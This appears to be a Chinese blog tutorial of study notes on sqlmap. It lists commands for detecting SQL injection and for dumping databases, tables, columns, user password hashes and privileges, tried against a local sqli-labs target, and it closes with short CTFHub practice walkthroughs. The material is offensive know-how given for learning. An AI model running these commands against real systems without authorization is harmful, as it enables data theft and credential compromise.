sql学习3(sqlmap的使用)

接上一篇学习2

6.sqlmap
(1)目标
1>指定url

检测注入点前需要指定检测对象

-u  指定需要检查的url,用单/双引号包裹

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

 注:sqlmap只能验证和利用注入点,不能扫描漏洞

2>批量检测

-m  指定文件,可以批量扫描文件中的url(文件中需写上多个待检测的url,一个一行)

sqlmap -m urls.txt

3>指定数据库,表,字段

-D  指定数据库

-T  指定表

-C  指定字段

都需要用单/双引号包裹,常配合其他参数使用

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4>post请求

-r  指定需要检测的文件,通过post的请求方式检测目标

sqlmap -r 1.txt

注:检测post注入点可使用bp抓包,将http请求内容保存至txt文件中

5>cookie注入

--cookkie  指定cookie的值,用单/双引号包裹

sqlmap -u "http://xx?id=x" --cookie 'cookie'

(2)脱库

-a  获取所有内容(耗费时间长)

sqlmap -u 'http://xx/?id=1' -a

1>获取数据库

版本

sqlmap -u 'http://xx/?id=1' -b

当前使用数据库名

sqlmap -u 'http://xx/?id=1' --current-db

获取所有数据库名

sqlmap -u 'http://xx/?id=1' --dbs

2>获取表

指定数据库获取表

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

同时获取多个库表名,库名间用逗号隔开

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

获取数据库中所有表

sqlmap -u 'http://xx/?id=1' --tables

3>获取字段

指定数据库和表

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

注:只指定库不指定表会报错

获取当前数据库所有表的字段

sqlmap -u 'http://xx/?id=1' --columns

4>获取字段类型

--schema  获取字段类型,可指定库或表,不指定默认为数据库中所有字段类型

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

5>获取数据

指定库,表,字段

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

获取指定库中所有表的数据

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

可用--start   --stop  指定开始和结束的行

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

6>获取用户

获取当前登录数据库用户

sqlmap -u 'http://xx/?id=1' --current-user

获取所有用户

sqlmap -u 'http://xx/?id=1' --users

获取用户密码

sqlmap -u 'http://xx/?id=1' --password

注:只能查出哈希值

获取用户权限

sqlmap -u 'http://xx/?id=1' --privileges

判断当前用户是否为管理员(返回true)

sqlmap -u 'http://xx/?id=1' --is-dba

7>获取主机名

sqlmap -u 'http://xx/?id=1' --hostname

8>搜索库,表,字段

搜索数据库中是否存在指定库,表,字段,需指定

sqlmap -u 'http://xx/?id=1' -D '指定库名' --search

sqlmap -u 'http://xxx/?id=1' -T '指定表名' --search

sqlmap -u 'http://xx/?id=1' -C '指定字段' --search

9>正在执行的sql语句

sqlmap -u 'http://xx/?id=1' --statements

 步骤

1.获取当前数据库

2.查表

3.查字段

4.查数据

练习
ctfhub技能树整数型注入

判断为数字型注入

查找数据库名,sqli

可知有两个表,flag和news

表flag中只有一个字段flag

查找表中数据可得flag

ctfhub技能树字符型注入

判断知是单引号注入 ,用查找数据库

得知库名为sqli

得知有flag和news两个表

有flag一个字段

查找数据可得flag

  • 17
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值